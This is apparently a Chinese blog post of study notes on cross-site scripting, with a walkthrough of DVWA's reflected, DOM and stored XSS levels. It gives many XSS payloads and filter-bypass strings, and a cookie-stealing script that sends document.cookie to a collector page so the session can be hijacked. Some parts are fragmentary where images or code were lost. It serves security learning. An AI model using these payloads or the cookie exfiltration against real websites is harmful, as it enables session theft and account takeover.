XSS漏洞学习
Contents
XSS漏洞相关知识点
XSS漏洞简介
XSS是跨站脚本攻击,属于被动式的攻击。XSS指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
XSS漏洞分类
- 非持久性XSS攻击,当用户访问已被插入攻击代码的链接时,攻击代码执行,完成该次攻击。
- 持久型XSS攻击,攻击者把攻击代码永久存储在目标服务器上中,例如数据库,消息论坛,留言板,访问者日志等。当用户进入页面,代码就会被执行。
- DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应
XSS漏洞常见危害
- 盗用cookie,获取敏感信息。(最常见)
- 劫持会话,执行任意操作(改密码、留言等CSRF)
- 强制弹出广告页面,刷广告流量
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
- 钓鱼,获取用户账号,密码
- 网页挂马,挖矿
关于JavaScript
- JavaScript是一种客户端的脚本语言,是运行的浏览器中的
- 浏览器会自动运行网页中的JavaScript代码,并且JavaScript代码对于用户来说是透明的
网页中运行JavaScript的方式
1.引入外部js
1 | <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"</script> |
2.使用超链接(javascript伪协议)
1 | <a href="javascript:alert(1)"></a> |
3.使用标签
1 | <script>alert(1)</script> |
4.使用事件方法
1 | <img src=1 onerror=alert(1)> |
常见事件:
事件名称 | 类型 | 作用 |
---|---|---|
onerror | window事件属性 | 在错误发生时运行的脚本 |
onload | window事件属性 | 页面加载结束以后运行脚本 |
onclick | Mouse事件 | 元素上发生鼠标点击时触发 |
onmouseover | Mouse事件 | 当鼠标指针移动到元素上时触发 |
oninput | From事件 | 当元素获得用户输入时运行的脚 |
探测XSS过程
1.构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面
例如:hacker
2.使用浏览器审查工具进行代码审计,寻找构造的字符串是否在页面中显示。
xss常用的测试语句
<imgsrc="javascript:alert('XSS');">
//转换为10进制<img src=x onerror=alert(1)>
<iframe onload=alert(1)></iframe>
-
document.body.innerHTML=”
DVWA( XSS 部分)
XSS(reflect)
simple:
尝试发现输入的语句直接插入到标签中
直接使用<script>alert(1)</script>
尝试,发现成功弹窗。
分析源码:
代码只判断了name值是否为空。没有做任何过滤。
尝试盗取cookie:
在本地网站根目录新建cookie.php和cookie.txt。
cookie.php内容为
回到dvwa中构造攻击语句:
1 | <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> |
得到cookie:
回到DVWA的登录界面:
在火狐浏览器的控制台中编辑cookie重新发包:
访问index.php发现成功以被攻击者身份登录。
medium:
首先尝试<script>alert(1)</script>
发现
2.双写绕过:</script>
3.利用img标签进行绕过:<img src=1 onerror=alert(1)>
PS: onerror事件会在文档或图像加载过程中发生错误时被触发
因为src=x就是一个错误代码,所以触发事件执行
high:
尝试 无效。
再次尝试<img src=1 onerror=alert(1)>
成功。
同样可以使用:<iframe onload=alert(1)>
PS:
onload 是js的一个事件,事件会在页面加载完成后,立即发生,同时执行被调用的程序。
分析源码:
impossible:
尝试<script>alert(1)</script>
发现语句被原封不动输出。
查看后台代码:
引用博客大佬解释:
利用PHP函数htmlspecialchars()
实现将特殊字符(逻辑与符号&
、双引号"
、单引号'
、小于号<
、大于号>
)转换为 HTML 实体,从而使得浏览器不解析其作为html元素构造脚本来执行,只是作为普通输入的字符来显示。
XSS DOM
DOM xss产生的原因:
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞
常用 xss DOM属性:
document.referer
window.name
location
innerHTML
document.write
simple:
查看后台代码:
什么都没有做。。。
随便选择一种语言:
我们可以在之后接入我们想要执行的代码:<script>alert(1)</script>
成功弹窗:
火狐查看页面元素:
medium:
查看后台代码:
代码使用了stripos函数过滤了<script.并且不区分大小写。
我们可以使用<img src=1 onerror=1>
绕过
我们查看页面源码:
我们的目的是让语句插入option标签的值中进而执行。
直接插入:
尝试闭合前面
插入 ></option></select><img src=1 onerror=alert(1)>
成功
high:
查看后台代码
白名单过滤,只允许传指定的default值。
补充知识:url中有一个字符为#,该字符后的数据不会发送到服务器端,从而绕过服务端过滤
构造攻击代码:
?default=English #<script>alert(1)</script>
impossible:
后台代码:
注释里说保护的代码在客户端的里面。
我们尝试构造语句发现没有任何反应。
我们查看源代码:
发现这里对我们输入的参数并没有进行URL解码,所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。所以,就不存在XSS漏洞了。
XSS (stored)
simple:
出现一个留言框,直接在name中输入发现有字数限制,
直接使用火狐对页面元素进行修改。修改maxlength
或者使用burp抓包绕过前端限制。
medium:
str_replace():含有“闭合前面 在后面加注释绕过
https://www.segmentfault.com"></script><script>alert(1)</script>//
![](C:\Users\尚慧亮\Pictures\Saved Pictures\QQ截图20200120205401.png)
xss常见绕过waf方法
可以参考这篇文章:https://blog.csdn.net/God_XiangYu/article/details/99592359,写的很全面,
参考文章:
https://blog.csdn.net/SKI_12/article/details/60468362
https://www.cnblogs.com/leestar54/p/5798937.html
Author: Shu1L
Link: https://shu1l.github.io/2020/04/03/xss-lou-dong-xue-xi/
License: 知识共享署名-非商业性使用 4.0 国际许可协议